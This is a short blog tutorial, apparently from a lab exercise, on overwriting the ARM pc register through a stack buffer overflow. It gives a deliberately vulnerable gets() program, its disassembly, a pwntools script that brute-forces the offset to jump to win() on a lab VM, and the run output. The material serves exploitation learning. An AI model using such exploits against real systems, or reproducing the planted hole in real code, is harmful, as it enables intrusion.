DEV Community

loading...
Cover image for ARM – rewrite PC

ARM – rewrite PC

hextrace profile image hextrace ・2 min read

In this article, we'll rewrite the pc register to take control of the program flow. This can be done though the vulnerable gets function

The source:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
    puts("congrats!\n");
}

int main()
{
    char buffer[64];
    gets(buffer);
    puts("nope\n");
}
Enter fullscreen mode Exit fullscreen mode

The goal will be to call win by abusing gets.

The disassembly:

00010404 <win>:
   10404:       b580            push    {r7, lr}
   10406:       af00            add     r7, sp, #0
   10408:       4b03            ldr     r3, [pc, #12]   ; (10418 <win+0x14>)
   1040a:       447b            add     r3, pc
   1040c:       4618            mov     r0, r3
   1040e:       f7ff ef82       blx     10314 <puts@plt>        ; puts("congrats\n");
   10412:       bf00            nop
   10414:       bd80            pop     {r7, pc}
   10416:       bf00            nop
   10418:       00000086

0001041c <main>:
   1041c:       b580            push    {r7, lr}
   1041e:       b090            sub     sp, #64 ; 0x40
   10420:       af00            add     r7, sp, #0
   10422:       463b            mov     r3, r7
   10424:       4618            mov     r0, r3
   10426:       f7ff ef70       blx     10308 <gets@plt>       ; gets(buffer);
   1042a:       4b05            ldr     r3, [pc, #20]   ; (10440 <main+0x24>)
   1042c:       447b            add     r3, pc
   1042e:       4618            mov     r0, r3
   10430:       f7ff ef70       blx     10314 <puts@plt>
   10434:       2300            movs    r3, #0
   10436:       4618            mov     r0, r3
   10438:       3740            adds    r7, #64 ; 0x40
   1043a:       46bd            mov     sp, r7
   1043c:       bd80            pop     {r7, pc}               ; pc to be overwritten
   1043e:       bf00            nop
   10440:       00000070
Enter fullscreen mode Exit fullscreen mode

This is our exploit:

#!/usr/bin/env python3

import struct
from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')

i = 60
while True:
    i += 1
    print('test', i)
    payload = b'A' * i + struct.pack('<I', 0x00010404)
    process = socket.process('/root/protostarm/stack4/stack4')
    process.sendline(payload)
    res = ""
    while True:
        try:
            res += process.recv().decode()
        except:
            break

    print(res)
    if 'congrats' in res:
        break

    process.close()

socket.close()
Enter fullscreen mode Exit fullscreen mode
user@Azeria-Lab-VM:~/protoarm/stack4$ ./exploit.py
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Disabled
[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1185)
test 63
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1189

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1189)
test 64
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1193

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1193)
test 65
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1197

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1197)
test 66
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1201

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1201)
test 67
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1205

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1205)
test 68
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1209
congrats!

[*] Stopped remote process 'stack1' on 192.168.0.1 (pid 1597)
[*] Closed connection to '192.168.0.1'
Enter fullscreen mode Exit fullscreen mode

Why 68? Well 64 for the buffer and 4 more for r7, the saved frame ptr.

Discussion (0)

pic
Editor guide